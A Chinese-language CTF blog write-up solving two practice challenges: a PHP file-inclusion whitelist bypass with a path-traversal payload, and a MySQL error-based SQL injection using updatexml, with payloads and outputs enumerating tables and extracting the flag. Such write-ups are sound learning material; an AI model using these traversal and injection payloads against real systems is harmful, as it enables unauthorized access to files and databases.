ctfer

10-19 来自DASCTF站的两题

2026-10-20 #dev#omakase

这几天没事干,决定每天写一两道题(希望能一直写下去?

T1-HCTF 2018_WarmUp

打开后是一个🌸🐔:
5bdb0d93dc794.jpg (500×500)

显然不可能从这里头找信息,这又不是misc题,我们查看一下源码,发现给了一个source.php的提示,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php  
    highlight_file(__FILE__);
    class emmm    {
        public static function checkFile(&$page)
        {            
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }            
            $_page = mb_substr($page, 0, mb_strpos($page . '?', '?') );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);            
            $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?'));
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  ?>

笔者一开始是不理解这一堆mb_substr mb_strpos 是在干什么的,甚至连!isset判断非空差点都忘了()后来凭借ds神力查了一下,想起来substr本身截取的作用~~(来自sql的记忆)~~,以及strpos拼接从而让正常的?file=hint.php通过的含义。至于那个is_string,看上去只是为了防整数和数组,没有太大用处(?

言归正传,本题的weakpoint就在于这个include函数,是典型的文件包含型漏洞。我们根据提示访问hint.php,发现提示:flag not here, and flag in ffffllllaaaagggg

又注意到include的触发需要以下三个条件:file字段非空,file字段为字符串,file字段能够通过checkFile的审验(WAF),否则返回滑稽。回到对于emmm类的分析:

尝试一下折叠效果,也为了你可以想想emmm类的分析喵。
  1. 对于page字段的check,首先是只能通过source.php和hint.php,其他的都视作非法请求予以肘击。
  2. 对于_page字段的check,mb_substr从page字段的第一个字符开始切割,一直到第一个问号。但是由于mb_strpos本身拼接了一个问号,所以怎么说也会切到这里~~(但事实上变成了滚木)~~。而urldecode再次来了一遍这个流程,让我们可以开心地在浏览器的搜索栏进行这个手工文件包含。

也就是说只要file=hint.php或者source.php,后面加一个问号就会被截断。但是对于linux的文件系统,在路径穿越时,hint.php?整体认不出来,会被直接扔掉。所以我们只要构造如下payload即可:
?file=hint.php?/../../../../ffffllllaaaagggg

T2-Ezsql

点进去发现,题目是一个登录界面,试图教会我们登dua郎(×
由本题名称猜测为sql注入。首先对用户名字段注入111',密码尝试1,发现得到回显:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '111'' at line 1

这时确定为mysql的报错注入。于是尝试使用万能密码:username: admin password: 1' or 1 = 1#,发现只有一个登陆成功的回显,没有什么用处。于是[查询hello-ctf](SQL 注入 | Hello CTF)得到如下知识:

这里是报错注入知识点喵,可以点击上面的链接进入喵。

updatexml() 是 MySQL 中的一种 XML 处理函数,它用于更新 XML 格式的数据,其标准的用法如下:

1
UPDATEXML(待更新xml数据, 节点路径, 新值)

但这个函数在二个参数包含特殊符号时会报错,并且会将第二个参数的内容显示在报错信息中。通过这个特性,我们用 concat() 函数 将查询语句和特殊符号拼接 在一起,就可以将查询结果显示在报错信息中

1
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e,version()), 3) 

输出:

1
2
mysql> SELECT username, password FROM users WHERE id = 1 and  updatexml(1, concat(0x7e,version()), 3);
1105 - XPATH syntax error: '~8.0.12'

不过要注意的是 updatexml() 的报错长度存在字符长度限制,目前有两 种方法来解决这个问题:

  • LIMIT()
1
2
3
4
5
SELECT username, password FROM users WHERE id = 1 and   updatexml(1,concat(0x7e,
(select username from users
limit 1,1)),
3);
# 不断改变limit NUM,1 的值逐行获取
  • substr()
1
2
3
4
5
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
substr(
(select group_concat(username) from users),
1,31)
),3);

执行结果:

1
2
3
4
5
mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
substr(
(select group_concat(username) from users),1,31)
),3);
1105 - XPATH syntax error: '~admin,super,flag,null'

利用上述特性,我们可以下面的语句获取信息:

获取所有数据库

1
2
3
4
5
6
7
SELECT username, password FROM users WHERE id = 1 and
updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
, 1 , 31)
),3)

获取所有表

1
2
3
4
5
6
7
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat('~',
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema = 'security')
, 1 , 31)
),3)

获取所有字段

1
2
3
4
5
6
7
8
SELECT username, password FROM users WHERE id = 1 and
updatexml(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema = 'security' and table_name = 'users')
, 1 , 31)
),3)

据此补课完成后,我们尝试如下注入流程:

  1. 库名:
    1’ and updatexml(1, concat(0x7e, substr((select group_concat(database())), 1, 31)), 3)#

XPATH syntax error: ‘~users’

  1. 表名

过多被截断了belike:
1’ and updatexml(1, concat(0x7e, substr((select group_concat(table_name)from information_schema.tables), 1, 31)), 3)#

XPATH syntax error: ‘~CHARACTER_SETS,COLLATIONS,COLLA’、

限制后:
1’ and updatexml(1, concat(0x7e, substr((select group_concat(table_name)from information_schema.tables where table_schema = database()), 1, 31)), 3)#

XPATH syntax error: ‘~flag,users’

  1. 字段名:
    1’ and updatexml(1, concat(0x7e, substr((select group_concat(column_name)from information_schema.columns where table_schema = database() and table_name = ‘flag’), 1, 31)), 3)#

XPATH syntax error: ‘~id,flag’

  1. flag:
    1’ and updatexml(1, concat(0x7e, substr((select group_concat(flag)from flag), 1, 31)), 3)#

XPATH syntax error: ‘~CTF2{20c93996-c299-454e-b087-a5’

1’ and updatexml(1, concat(0x7e, substr((select group_concat(flag)from flag), 32, 31)), 3)#

XPATH syntax error: ‘~81eb3def75}’

-总结:
其实说了这么多,对于报错注入,就是利用updatexml或者extractvalue进行报错回显。对于前者,参数为注入点(随便写一个试试,数字一般都会有)、非法xpath、欲修改数据(一般是滚木)三块组成。后者的两个参数为欲查找部位,非法xpath即可。

但是为什么我要用这个雷霆头图?
以及打完这些我校园网怎么寄了😭这么低级的注入还要给学校肘吗…

评论
也许会发生一些好事!
分享

评论